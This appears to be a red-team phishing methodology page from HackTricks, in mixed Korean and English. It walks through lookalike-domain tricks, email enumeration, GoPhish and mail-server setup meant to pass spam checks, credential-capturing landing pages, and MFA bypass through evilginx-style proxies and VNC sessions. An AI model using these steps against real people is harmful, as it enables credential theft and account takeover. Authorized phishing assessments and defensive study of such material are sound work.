Phishing ๋ฐฉ๋ฒ•๋ก 

Tip

AWS ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ:HackTricks Training AWS Red Team Expert (ARTE)
GCP ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training GCP Red Team Expert (GRTE) Azure ํ•ดํ‚น ๋ฐฐ์šฐ๊ธฐ ๋ฐ ์—ฐ์Šตํ•˜๊ธฐ: HackTricks Training Azure Red Team Expert (AzRTE)

HackTricks ์ง€์›ํ•˜๊ธฐ

๋ฐฉ๋ฒ•๋ก 

  1. Recon ๋Œ€์ƒ
  2. ๋Œ€์ƒ ๋„๋ฉ”์ธ ์„ ํƒ.
  3. ํ”ผํ•ด์ž๊ฐ€ ์‚ฌ์šฉํ•˜๋Š” **๋กœ๊ทธ์ธ ํฌํ„ธ ๊ฒ€์ƒ‰(searching for login portals)**์„ ์œ„ํ•œ ๊ธฐ๋ณธ ์›น ์—ด๊ฑฐ๋ฅผ ์ˆ˜ํ–‰ํ•˜๊ณ , ์–ด๋–ค ํฌํ„ธ์„ **์‚ฌ์นญ(impersonate)**ํ• ์ง€ ๊ฒฐ์ •(decide).
  4. ์ผ๋ถ€ OSINT๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ์ด๋ฉ”์ผ ์ฐพ๊ธฐ(find emails).
  5. ํ™˜๊ฒฝ ์ค€๋น„
  6. ๊ตฌ๋งคํ•  ๋„๋ฉ”์ธ: phishing assessment์— ์‚ฌ์šฉํ•  ๋„๋ฉ”์ธ์„ ๊ตฌ๋งคํ•ฉ๋‹ˆ๋‹ค.
  7. ์ด๋ฉ”์ผ ์„œ๋น„์Šค ๊ด€๋ จ ๋ ˆ์ฝ”๋“œ ๊ตฌ์„ฑ (SPF, DMARC, DKIM, rDNS)
  8. gophish๋กœ VPS ๊ตฌ์„ฑ
  9. ์บ ํŽ˜์ธ ์ค€๋น„
  10. ์ด๋ฉ”์ผ ํ…œํ”Œ๋ฆฟ ์ค€๋น„
  11. ์ž๊ฒฉ ์ฆ๋ช…์„ ํƒˆ์ทจํ•˜๊ธฐ ์œ„ํ•œ ์›น ํŽ˜์ด์ง€ ์ค€๋น„
  12. ์บ ํŽ˜์ธ ์‹œ์ž‘!

Generate similar domain names or buy a trusted domain

Domain Name Variation Techniques

  • Keyword: ์›๋ž˜ ๋„๋ฉ”์ธ์˜ ์ค‘์š”ํ•œ keyword๋ฅผ ๋„๋ฉ”์ธ ์ด๋ฆ„์— ํฌํ•จ (์˜ˆ: zelster.com-management.com).
  • hypened subdomain: ์„œ๋ธŒ๋„๋ฉ”์ธ์˜ dot์„ ํ•˜์ดํ”ˆ์œผ๋กœ ๋ณ€๊ฒฝ (์˜ˆ: www-zelster.com).
  • New TLD: ๊ฐ™์€ ๋„๋ฉ”์ธ์„ ์ƒˆ TLD๋กœ ์‚ฌ์šฉ (์˜ˆ: zelster.org)
  • Homoglyph: ๋„๋ฉ”์ธ ์ด๋ฆ„์˜ ๊ธ€์ž๋ฅผ ๋น„์Šทํ•˜๊ฒŒ ๋ณด์ด๋Š” ๋ฌธ์ž๋กœ ๋Œ€์ฒด (์˜ˆ: zelfser.com).

Homograph Attacks

  • Transposition: ๋„๋ฉ”์ธ ์ด๋ฆ„ ๋‚ด ๋‘ ๊ธ€์ž๋ฅผ ๊ตํ™˜ (์˜ˆ: zelsetr.com).
  • Singularization/Pluralization: ๋„๋ฉ”์ธ ์ด๋ฆ„ ๋์— โ€œsโ€๋ฅผ ์ถ”๊ฐ€ํ•˜๊ฑฐ๋‚˜ ์ œ๊ฑฐ (์˜ˆ: zeltsers.com).
  • Omission: ๋„๋ฉ”์ธ ์ด๋ฆ„์—์„œ ๊ธ€์ž ํ•˜๋‚˜๋ฅผ ์ƒ๋žต (์˜ˆ: zelser.com).
  • Repetition: ๋„๋ฉ”์ธ ์ด๋ฆ„์˜ ๊ธ€์ž ํ•˜๋‚˜๋ฅผ ๋ฐ˜๋ณต (์˜ˆ: zeltsser.com).
  • Replacement: homoglyph์™€ ๋น„์Šทํ•˜์ง€๋งŒ ๋œ ์€๋ฐ€ํ•จ. ๋„๋ฉ”์ธ ์ด๋ฆ„์˜ ๊ธ€์ž ํ•˜๋‚˜๋ฅผ ํ‚ค๋ณด๋“œ์ƒ์—์„œ ์ธ์ ‘ํ•œ ๊ธ€์ž ๋“ฑ์œผ๋กœ ๋Œ€์ฒด (์˜ˆ: zektser.com).
  • Subdomained: ๋„๋ฉ”์ธ ์ด๋ฆ„ ๋‚ด๋ถ€์— dot ์ถ”๊ฐ€ (์˜ˆ: ze.lster.com).
  • Insertion: ๋„๋ฉ”์ธ ์ด๋ฆ„์— ๋ฌธ์ž ์‚ฝ์ž… (์˜ˆ: zerltser.com).
  • Missing dot: ๋„๋ฉ”์ธ ์ด๋ฆ„์— TLD๋ฅผ ๋ถ™์—ฌ ์ถ”๊ฐ€ (์˜ˆ: zelstercom.com)

Automatic Tools

Websites

Bitflipping

์ €์žฅ๋˜๊ฑฐ๋‚˜ ํ†ต์‹  ์ค‘์ธ ์ผ๋ถ€ ๋น„ํŠธ๊ฐ€ ํƒœ์–‘ ํ”Œ๋ ˆ์–ด, ์šฐ์ฃผ์„ (์šฐ์ฃผ๋ฐฉ์‚ฌ์„ ), ํ•˜๋“œ์›จ์–ด ์˜ค๋ฅ˜ ๋“ฑ ๋‹ค์–‘ํ•œ ์š”์ธ์œผ๋กœ ์ธํ•ด ์ž๋™์œผ๋กœ ๋’ค๋ฐ”๋€” ๊ฐ€๋Šฅ์„ฑ์ด ์žˆ์Šต๋‹ˆ๋‹ค.

์ด ๊ฐœ๋…์„ DNS ์š”์ฒญ์— ์ ์šฉํ•  ๋•Œ, DNS ์„œ๋ฒ„๊ฐ€ ์ˆ˜์‹ ํ•œ ๋„๋ฉ”์ธ์ด ์ฒ˜์Œ ์š”์ฒญํ•œ ๋„๋ฉ”์ธ๊ณผ ๊ฐ™์ง€ ์•Š์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์˜ˆ๋ฅผ ๋“ค์–ด, ๋„๋ฉ”์ธ โ€œwindows.comโ€œ์—์„œ ๋‹จ์ผ ๋น„ํŠธ๊ฐ€ ๋ณ€๊ฒฝ๋˜๋ฉด โ€œwindnws.comโ€œ์œผ๋กœ ๋ฐ”๋€” ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

๊ณต๊ฒฉ์ž๋Š” ํ”ผํ•ด์ž์˜ ๋„๋ฉ”์ธ๊ณผ ์œ ์‚ฌํ•œ ์—ฌ๋Ÿฌ ๊ฐœ์˜ bit-flipping ๋„๋ฉ”์ธ์„ ๋“ฑ๋กํ•˜์—ฌ ์ด๋ฅผ ์•…์šฉํ•˜๊ณ  ํ•ฉ๋ฒ•์ ์ธ ์‚ฌ์šฉ์ž๋ฅผ ์ž์‹ ์˜ ์ธํ”„๋ผ๋กœ ๋ฆฌ๋‹ค์ด๋ ‰ํŠธํ•˜๋ ค ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ž์„ธํ•œ ๋‚ด์šฉ์€ https://www.bleepingcomputer.com/news/security/hijacking-traffic-to-microsoft-s-windowscom-with-bitflipping/๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

Buy a trusted domain

๋งŒ๋ฃŒ๋œ ๋„๋ฉ”์ธ ์ค‘ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ๋Š” ๋„๋ฉ”์ธ์„ https://www.expireddomains.net/์—์„œ ๊ฒ€์ƒ‰ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.
๊ตฌ๋งคํ•˜๋ ค๋Š” ๋งŒ๋ฃŒ ๋„๋ฉ”์ธ์ด ์ด๋ฏธ ์ข‹์€ SEO๋ฅผ ๊ฐ€์ง€๊ณ  ์žˆ๋Š”์ง€ ํ™•์ธํ•˜๋ ค๋ฉด ๋‹ค์Œ์—์„œ ์–ด๋–ป๊ฒŒ ๋ถ„๋ฅ˜๋˜์–ด ์žˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

Discovering Emails

๋” ๋งŽ์€ ์œ ํšจํ•œ ์ด๋ฉ”์ผ ์ฃผ์†Œ๋ฅผ ๋ฐœ๊ฒฌํ•˜๊ฑฐ๋‚˜ ์ด๋ฏธ ์ฐพ์€ ์ฃผ์†Œ๋ฅผ ๊ฒ€์ฆํ•˜๋ ค๋ฉด ํ”ผํ•ด์ž์˜ SMTP ์„œ๋ฒ„์— ๋Œ€ํ•ด ์‚ฌ์šฉ์ž๋ช… ๋ฌด์ฐจ๋ณ„ ๋Œ€์ž…(username bruteforce)์œผ๋กœ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์—ฌ๊ธฐ์—์„œ ์ด๋ฉ”์ผ ์ฃผ์†Œ ๊ฒ€์ฆ/๋ฐœ๊ฒฌ ๋ฐฉ๋ฒ•์„ ํ™•์ธํ•˜์„ธ์š”.
๋˜ํ•œ ์‚ฌ์šฉ์ž๊ฐ€ ์ด๋ฉ”์ผ์— ์ ‘๊ทผํ•˜๊ธฐ ์œ„ํ•ด any web portal to access their mails์„ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ, ํ•ด๋‹น ํฌํ„ธ์ด username brute force์— ์ทจ์•ฝํ•œ์ง€ ํ™•์ธํ•˜๊ณ  ๊ฐ€๋Šฅํ•˜๋‹ค๋ฉด ํ•ด๋‹น ์ทจ์•ฝ์ ์„ ์•…์šฉํ•˜์„ธ์š”.

Configuring GoPhish

Installation

๋‹ค์Œ์—์„œ ๋‹ค์šด๋กœ๋“œํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://github.com/gophish/gophish/releases/tag/v0.11.0

๋‹ค์šด๋กœ๋“œํ•˜์—ฌ /opt/gophish์— ์••์ถ• ํ•ด์ œํ•˜๊ณ  /opt/gophish/gophish๋ฅผ ์‹คํ–‰ํ•ฉ๋‹ˆ๋‹ค.
์ถœ๋ ฅ์— ํฌํŠธ 3333์— ๋Œ€ํ•œ ๊ด€๋ฆฌ์ž(admin) ์‚ฌ์šฉ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๊ฐ€ ํ‘œ์‹œ๋ฉ๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ ํ•ด๋‹น ํฌํŠธ์— ์ ‘๊ทผํ•˜์—ฌ ๊ทธ ์ž๊ฒฉ์ฆ๋ช…์„ ์‚ฌ์šฉํ•ด ๊ด€๋ฆฌ์ž ๋น„๋ฐ€๋ฒˆํ˜ธ๋ฅผ ๋ณ€๊ฒฝํ•˜์„ธ์š”. ํ•„์š”ํ•˜๋ฉด ํ•ด๋‹น ํฌํŠธ๋ฅผ ๋กœ์ปฌ๋กœ ํ„ฐ๋„๋งํ•ด์•ผ ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค:

ssh -L 3333:127.0.0.1:3333 <user>@<ip>

๊ตฌ์„ฑ

TLS ์ธ์ฆ์„œ ๊ตฌ์„ฑ

์ด ๋‹จ๊ณ„ ์ด์ „์— ์‚ฌ์šฉํ•˜๋ ค๋Š” ์ด๋ฏธ ๊ตฌ๋งคํ•œ ๋„๋ฉ”์ธ์„ ๋ณด์œ ํ•˜๊ณ  ์žˆ์–ด์•ผ ํ•˜๋ฉฐ, ํ•ด๋‹น ๋„๋ฉ”์ธ์ด gophish๋ฅผ ๊ตฌ์„ฑํ•˜๊ณ  ์žˆ๋Š” VPS์˜ IP๋ฅผ ๊ฐ€๋ฆฌํ‚ค๊ณ  ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

DOMAIN="<domain>"
wget https://dl.eff.org/certbot-auto
chmod +x certbot-auto
sudo apt install snapd
sudo snap install core
sudo snap refresh core
sudo apt-get remove certbot
sudo snap install --classic certbot
sudo ln -s /snap/bin/certbot /usr/bin/certbot
certbot certonly --standalone -d "$DOMAIN"
mkdir /opt/gophish/ssl_keys
cp "/etc/letsencrypt/live/$DOMAIN/privkey.pem" /opt/gophish/ssl_keys/key.pem
cp "/etc/letsencrypt/live/$DOMAIN/fullchain.pem" /opt/gophish/ssl_keys/key.crtโ€‹

๋ฉ”์ผ ๊ตฌ์„ฑ

์„ค์น˜ ์‹œ์ž‘: apt-get install postfix

๊ทธ๋Ÿฐ ๋‹ค์Œ ๋„๋ฉ”์ธ์„ ๋‹ค์Œ ํŒŒ์ผ๋“ค์— ์ถ”๊ฐ€ํ•˜์„ธ์š”:

  • /etc/postfix/virtual_domains
  • /etc/postfix/transport
  • /etc/postfix/virtual_regexp

๋‹ค์Œ ๋ณ€์ˆ˜๋“ค์˜ ๊ฐ’์„ /etc/postfix/main.cf ๋‚ด์—์„œ ๋ณ€๊ฒฝํ•˜์„ธ์š”

myhostname = <domain>
mydestination = $myhostname, <domain>, localhost.com, localhost

๋งˆ์ง€๋ง‰์œผ๋กœ ํŒŒ์ผ /etc/hostname ๋ฐ /etc/mailname ์„(๋ฅผ) ๋„๋ฉ”์ธ ์ด๋ฆ„์œผ๋กœ ์ˆ˜์ •ํ•˜๊ณ  VPS๋ฅผ ์žฌ์‹œ์ž‘ํ•˜์„ธ์š”.

์ด์ œ VPS์˜ IP ์ฃผ์†Œ๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก mail.<domain>์˜ DNS A record๋ฅผ ์ƒ์„ฑํ•˜๊ณ , mail.<domain>์„ ๊ฐ€๋ฆฌํ‚ค๋Š” DNS MX ๋ ˆ์ฝ”๋“œ๋„ ์ƒ์„ฑํ•˜์„ธ์š”.

์ด์ œ ์ด๋ฉ”์ผ ์ „์†ก์„ ํ…Œ์ŠคํŠธํ•ด๋ด…๋‹ˆ๋‹ค:

apt install mailutils
echo "This is the body of the email" | mail -s "This is the subject line" test@email.com

Gophish ๊ตฌ์„ฑ

gophish์˜ ์‹คํ–‰์„ ์ค‘์ง€ํ•˜๊ณ  ๊ตฌ์„ฑํ•ฉ์‹œ๋‹ค.\
๋‹ค์Œ๊ณผ ๊ฐ™์ด /opt/gophish/config.json์„ ์ˆ˜์ •ํ•˜์„ธ์š” (https ์‚ฌ์šฉ์— ์œ ์˜):

{
"admin_server": {
"listen_url": "127.0.0.1:3333",
"use_tls": true,
"cert_path": "gophish_admin.crt",
"key_path": "gophish_admin.key"
},
"phish_server": {
"listen_url": "0.0.0.0:443",
"use_tls": true,
"cert_path": "/opt/gophish/ssl_keys/key.crt",
"key_path": "/opt/gophish/ssl_keys/key.pem"
},
"db_name": "sqlite3",
"db_path": "gophish.db",
"migrations_prefix": "db/db_",
"contact_address": "",
"logging": {
"filename": "",
"level": ""
}
}

gophish ์„œ๋น„์Šค ๊ตฌ์„ฑ

gophish ์„œ๋น„์Šค๋ฅผ ์ž๋™์œผ๋กœ ์‹œ์ž‘ํ•˜๊ณ  ์„œ๋น„์Šค๋กœ ๊ด€๋ฆฌํ•  ์ˆ˜ ์žˆ๋„๋ก ๋งŒ๋“ค๋ ค๋ฉด ๋‹ค์Œ ๋‚ด์šฉ์„ ๊ฐ€์ง„ ํŒŒ์ผ /etc/init.d/gophish๋ฅผ ์ƒ์„ฑํ•˜์„ธ์š”:

#!/bin/bash
# /etc/init.d/gophish
# initialization file for stop/start of gophish application server
#
# chkconfig: - 64 36
# description: stops/starts gophish application server
# processname:gophish
# config:/opt/gophish/config.json
# From https://github.com/gophish/gophish/issues/586

# define script variables

processName=Gophish
process=gophish
appDirectory=/opt/gophish
logfile=/var/log/gophish/gophish.log
errfile=/var/log/gophish/gophish.error

start() {
echo 'Starting '${processName}'...'
cd ${appDirectory}
nohup ./$process >>$logfile 2>>$errfile &
sleep 1
}

stop() {
echo 'Stopping '${processName}'...'
pid=$(/bin/pidof ${process})
kill ${pid}
sleep 1
}

status() {
pid=$(/bin/pidof ${process})
if [["$pid" != ""| "$pid" != "" ]]; then
echo ${processName}' is running...'
else
echo ${processName}' is not running...'
fi
}

case $1 in
start|stop|status) "$1" ;;
esac

์„œ๋น„์Šค ๊ตฌ์„ฑ์„ ์™„๋ฃŒํ•˜๊ณ  ์ž‘๋™ ์—ฌ๋ถ€๋ฅผ ํ™•์ธํ•˜์„ธ์š”:

mkdir /var/log/gophish
chmod +x /etc/init.d/gophish
update-rc.d gophish defaults
#Check the service
service gophish start
service gophish status
ss -l | grep "3333\|443"
service gophish stop

๋ฉ”์ผ ์„œ๋ฒ„์™€ ๋„๋ฉ”์ธ ๊ตฌ์„ฑ

๊ธฐ๋‹ค๋ฆฌ๊ณ  ์ •์ƒ์ ์œผ๋กœ ๋ณด์ด๊ธฐ

๋„๋ฉ”์ธ์ด ์˜ค๋ž˜๋ ์ˆ˜๋ก spam์œผ๋กœ ๋ถ„๋ฅ˜๋  ๊ฐ€๋Šฅ์„ฑ์ด ๋‚ฎ์•„์ง‘๋‹ˆ๋‹ค. ๋”ฐ๋ผ์„œ phishing assessment ์ „์— ๊ฐ€๋Šฅํ•œ ํ•œ ์˜ค๋ž˜(์ตœ์†Œ 1์ฃผ์ผ) ๊ธฐ๋‹ค๋ ค์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๋˜ํ•œ ํ‰ํŒ ๊ด€๋ จ ์„นํ„ฐ์— ๋Œ€ํ•œ ํŽ˜์ด์ง€๋ฅผ ๋„ฃ์œผ๋ฉด ์–ป๋Š” ํ‰ํŒ์ด ๋” ์ข‹์•„์ง‘๋‹ˆ๋‹ค.

์ผ์ฃผ์ผ์„ ๊ธฐ๋‹ค๋ ค์•ผ ํ•˜๋”๋ผ๋„ ์ง€๊ธˆ ๋ชจ๋“  ์„ค์ •์„ ๋งˆ์น  ์ˆ˜ ์žˆ๋‹ค๋Š” ์ ์— ์œ ์˜ํ•˜์„ธ์š”.

Reverse DNS (rDNS) ๋ ˆ์ฝ”๋“œ ๊ตฌ์„ฑ

VPS์˜ IP ์ฃผ์†Œ๊ฐ€ ๋„๋ฉ”์ธ ์ด๋ฆ„์œผ๋กœ ์—ญ๋ฐฉํ–ฅ ์กฐํšŒ๋˜๋„๋ก rDNS (PTR) ๋ ˆ์ฝ”๋“œ๋ฅผ ์„ค์ •ํ•˜์„ธ์š”.

Sender Policy Framework (SPF) ๋ ˆ์ฝ”๋“œ

์ƒˆ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด SPF ๋ ˆ์ฝ”๋“œ๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. SPF ๋ ˆ์ฝ”๋“œ๊ฐ€ ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๋ฉด ์ด ํŽ˜์ด์ง€๋ฅผ ์ฝ์–ด๋ณด์„ธ์š”.

SPF ์ •์ฑ…์„ ์ƒ์„ฑํ•˜๋ ค๋ฉด https://www.spfwizard.net/ ๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค (VPS ๋จธ์‹ ์˜ IP ์‚ฌ์šฉ)

๋‹ค์Œ์€ ๋„๋ฉ”์ธ์˜ TXT ๋ ˆ์ฝ”๋“œ์— ์„ค์ •ํ•ด์•ผ ํ•˜๋Š” ๋‚ด์šฉ์ž…๋‹ˆ๋‹ค:

v=spf1 mx a ip4:ip.ip.ip.ip ?all

Domain-based Message Authentication, Reporting & Conformance (DMARC) ๋ ˆ์ฝ”๋“œ

์ƒˆ ๋„๋ฉ”์ธ์— ๋Œ€ํ•ด DMARC ๋ ˆ์ฝ”๋“œ๋ฅผ ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. DMARC ๋ ˆ์ฝ”๋“œ๊ฐ€ ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๋ฉด read this page.

ํ˜ธ์ŠคํŠธ๋ช… _dmarc.<domain>๋ฅผ ๊ฐ€๋ฆฌํ‚ค๋„๋ก ๋‹ค์Œ ๋‚ด์šฉ์„ ๊ฐ–๋Š” ์ƒˆ DNS TXT ๋ ˆ์ฝ”๋“œ๋ฅผ ์ƒ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

v=DMARC1; p=none

DomainKeys Identified Mail (DKIM)

๋ฐ˜๋“œ์‹œ ์ƒˆ ๋„๋ฉ”์ธ์— DKIM์„ ๊ตฌ์„ฑํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. DMARC ๋ ˆ์ฝ”๋“œ๊ฐ€ ๋ฌด์—‡์ธ์ง€ ๋ชจ๋ฅด๋ฉด read this page.

์ด ํŠœํ† ๋ฆฌ์–ผ์€ ๋‹ค์Œ์„ ๊ธฐ๋ฐ˜์œผ๋กœ ํ•ฉ๋‹ˆ๋‹ค: https://www.digitalocean.com/community/tutorials/how-to-install-and-configure-dkim-with-postfix-on-debian-wheezy

Tip

DKIM ํ‚ค๊ฐ€ ์ƒ์„ฑํ•˜๋Š” ๋‘ ๊ฐœ์˜ B64 ๊ฐ’์„ ์—ฐ๊ฒฐํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค:

v=DKIM1; h=sha256; k=rsa; p=MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA0wPibdqPtzYk81njjQCrChIcHzxOp8a1wjbsoNtka2X9QXCZs+iXkvw++QsWDtdYu3q0Ofnr0Yd/TmG/Y2bBGoEgeE+YTUG2aEgw8Xx42NLJq2D1pB2lRQPW4IxefROnXu5HfKSm7dyzML1gZ1U0pR5X4IZCH0wOPhIq326QjxJZm79E1nTh3xj" "Y9N/Dt3+fVnIbMupzXE216TdFuifKM6Tl6O/axNsbswMS1TH812euno8xRpsdXJzFlB9q3VbMkVWig4P538mHolGzudEBg563vv66U8D7uuzGYxYT4WS8NVm3QBMg0QKPWZaKp+bADLkOSB9J2nUpk4Aj9KB5swIDAQAB

์ด๋ฉ”์ผ ๊ตฌ์„ฑ ์ ์ˆ˜ ํ™•์ธ

๋‹ค์Œ ์‚ฌ์ดํŠธ๋ฅผ ์‚ฌ์šฉํ•˜์—ฌ ํ™•์ธํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค: https://www.mail-tester.com/
ํŽ˜์ด์ง€์— ์ ‘์†ํ•˜์—ฌ ๊ทธ๋“ค์ด ์ œ๊ณตํ•˜๋Š” ์ฃผ์†Œ๋กœ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด์„ธ์š”:

echo "This is the body of the email" | mail -s "This is the subject line" test-iimosa79z@srv1.mail-tester.com

๋˜ํ•œ check-auth@verifier.port25.com๋กœ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ด ์ด๋ฉ”์ผ ์„ค์ •์„ ํ™•์ธํ•˜๊ณ  ์‘๋‹ต์„ ์ฝ์–ด๋ณด์„ธ์š” (์ด๋ฅผ ์œ„ํ•ด์„œ๋Š” ํฌํŠธ 25๋ฅผ ์—ด์–ด์•ผ ํ•˜๊ณ , ์ด๋ฉ”์ผ์„ root๋กœ ๋ณด๋‚ผ ๊ฒฝ์šฐ /var/mail/root ํŒŒ์ผ์—์„œ ์‘๋‹ต์„ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค).
๋ชจ๋“  ํ…Œ์ŠคํŠธ๋ฅผ ํ†ต๊ณผํ–ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”:

==========================================================
Summary of Results
==========================================================
SPF check:          pass
DomainKeys check:   neutral
DKIM check:         pass
Sender-ID check:    pass
SpamAssassin check: ham

์ž์‹ ์ด ์ œ์–ดํ•˜๋Š” Gmail๋กœ ๋ฉ”์‹œ์ง€๋ฅผ ๋ณด๋‚ด๋Š” ๋ฐฉ๋ฒ•๋„ ์žˆ์œผ๋ฉฐ, Gmail ๋ฐ›์€ํŽธ์ง€ํ•จ์—์„œ ์ด๋ฉ”์ผ ํ—ค๋”๋ฅผ ํ™•์ธํ•˜๋ฉด Authentication-Results ํ—ค๋” ํ•„๋“œ์— dkim=pass๊ฐ€ ์žˆ์–ด์•ผ ํ•ฉ๋‹ˆ๋‹ค.

Authentication-Results: mx.google.com;
spf=pass (google.com: domain of contact@example.com designates --- as permitted sender) smtp.mail=contact@example.com;
dkim=pass header.i=@example.com;

โ€‹Removing from Spamhouse Blacklist

The page www.mail-tester.com can indicate you if you your domain is being blocked by spamhouse. You can request your domain/IP to be removed at: โ€‹https://www.spamhaus.org/lookup/

Removing from Microsoft Blacklist

โ€‹โ€‹You can request your domain/IP to be removed at https://sender.office.com/.

Create & Launch GoPhish Campaign

Sending Profile

  • ๋ฐœ์‹ ์ž ํ”„๋กœํ•„์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋Š” ์ด๋ฆ„์„ ์„ค์ •ํ•˜์„ธ์š”
  • ์–ด๋–ค ๊ณ„์ •์—์„œ ํ”ผ์‹ฑ ์ด๋ฉ”์ผ์„ ๋ณด๋‚ผ์ง€ ๊ฒฐ์ •ํ•˜์„ธ์š”. ์˜ˆ์‹œ: noreply, support, servicedesk, salesforceโ€ฆ
  • username๊ณผ password๋ฅผ ๋น„์›Œ ๋‘˜ ์ˆ˜ ์žˆ์ง€๋งŒ, ๋ฐ˜๋“œ์‹œ Ignore Certificate Errors๋ฅผ ์ฒดํฌํ•˜์„ธ์š”

Tip

Itโ€™s recommended to use the โ€œSend Test Emailโ€ functionality to test that everything is working.
I would recommend to send the test emails to 10min mails addresses in order to avoid getting blacklisted making tests.

Email Template

  • ํ…œํ”Œ๋ฆฟ์„ ์‹๋ณ„ํ•  ์ˆ˜ ์žˆ๋Š” ์ด๋ฆ„์„ ์„ค์ •ํ•˜์„ธ์š”
  • ๊ทธ๋Ÿฐ ๋‹ค์Œ subject๋ฅผ ์ž‘์„ฑํ•˜์„ธ์š” (์ด์ƒํ•œ ๋‚ด์šฉ ์—†์ด ์ผ๋ฐ˜ ์ด๋ฉ”์ผ์—์„œ ๋ณผ ์ˆ˜ ์žˆ๋Š” ๋ฌธ๊ตฌ๋กœ)
  • ๋ฐ˜๋“œ์‹œ โ€œAdd Tracking Imageโ€œ๋ฅผ ์ฒดํฌํ–ˆ๋Š”์ง€ ํ™•์ธํ•˜์„ธ์š”
  • ์ด๋ฉ”์ผ ํ…œํ”Œ๋ฆฟ์„ ์ž‘์„ฑํ•˜์„ธ์š” (๋‹ค์Œ ์˜ˆ์‹œ์ฒ˜๋Ÿผ ๋ณ€์ˆ˜๋ฅผ ์‚ฌ์šฉํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค):
<html>
<head>
<title></title>
</head>
<body>
<p class="MsoNormal"><span style="font-size:10.0pt;font-family:&quot;Verdana&quot;,sans-serif;color:black">Dear {{.FirstName}} {{.LastName}},</span></p>
<br />
Note: We require all user to login an a very suspicios page before the end of the week, thanks!<br />
<br />
Regards,</span></p>

WRITE HERE SOME SIGNATURE OF SOMEONE FROM THE COMPANY

<p>{{.Tracker}}</p>
</body>
</html>

Note that in order to increase the credibility of the email, itโ€™s recommended to use some signature from an email from the client. Suggestions:

  • Send an email to a non existent address and check if the response has any signature.
  • Search for public emails like info@ex.com or press@ex.com or public@ex.com and send them an email and wait for the response.
  • Try to contact some valid discovered email and wait for the response

Tip

The Email Template also allows to attach files to send. If you would also like to steal NTLM challenges using some specially crafted files/documents read this page.

Landing Page

  • Write a name
  • Write the HTML code of the web page. Note that you can import web pages.
  • Mark Capture Submitted Data and Capture Passwords
  • Set a redirection

Tip

Usually you will need to modify the HTML code of the page and make some tests in local (maybe using some Apache server) until you like the results. Then, write that HTML code in the box.
Note that if you need to use some static resources for the HTML (maybe some CSS and JS pages) you can save them in /opt/gophish/static/endpoint and then access them from /static/<filename>

Tip

For the redirection you could redirect the users to the legit main web page of the victim, or redirect them to /static/migration.html for example, put some spinning wheel (https://loading.io/) for 5 seconds and then indicate that the process was successful.

Users & Groups

  • Set a name
  • Import the data (note that in order to use the template for the example you need the firstname, last name and email address of each user)

Campaign

Finally, create a campaign selecting a name, the email template, the landing page, the URL, the sending profile and the group. Note that the URL will be the link sent to the victims

Note that the Sending Profile allow to send a test email to see how will the final phishing email looks like:

Tip

I would recommend to send the test emails to 10min mails addresses in order to avoid getting blacklisted making tests.

Once everything is ready, just launch the campaign!

Website Cloning

If for any reason you want to clone the website check the following page:

Clone a Website

Backdoored Documents & Files

In some phishing assessments (mainly for Red Teams) you will want to also send files containing some kind of backdoor (maybe a C2 or maybe just something that will trigger an authentication).
Check out the following page for some examples:

Phishing Files & Documents

Phishing MFA

Via Proxy MitM

The previous attack is pretty clever as you are faking a real website and gathering the information set by the user. Unfortunately, if the user didnโ€™t put the correct password or if the application you faked is configured with 2FA, this information wonโ€™t allow you to impersonate the tricked user.

This is where tools like evilginx2, CredSniper and muraena are useful. This tool will allow you to generate a MitM like attack. Basically, the attacks works in the following way:

  1. You impersonate the login form of the real webpage.
  2. The user send his credentials to your fake page and the tool send those to the real webpage, checking if the credentials work.
  3. If the account is configured with 2FA, the MitM page will ask for it and once the user introduces it the tool will send it to the real web page.
  4. Once the user is authenticated you (as attacker) will have captured the credentials, the 2FA, the cookie and any information of every interaction your while the tool is performing a MitM.

Via VNC

What if instead of sending the victim to a malicious page with the same looks as the original one, you send him to a VNC session with a browser connected to the real web page? You will be able to see what he does, steal the password, the MFA used, the cookiesโ€ฆ
You can do this with EvilnVNC

Detecting the detection

Obviously one of the best ways to know if you have been busted is to search your domain inside blacklists. If it appears listed, somehow your domain was detected as suspicions.
One easy way to check if you domain appears in any blacklist is to use https://malwareworld.com/

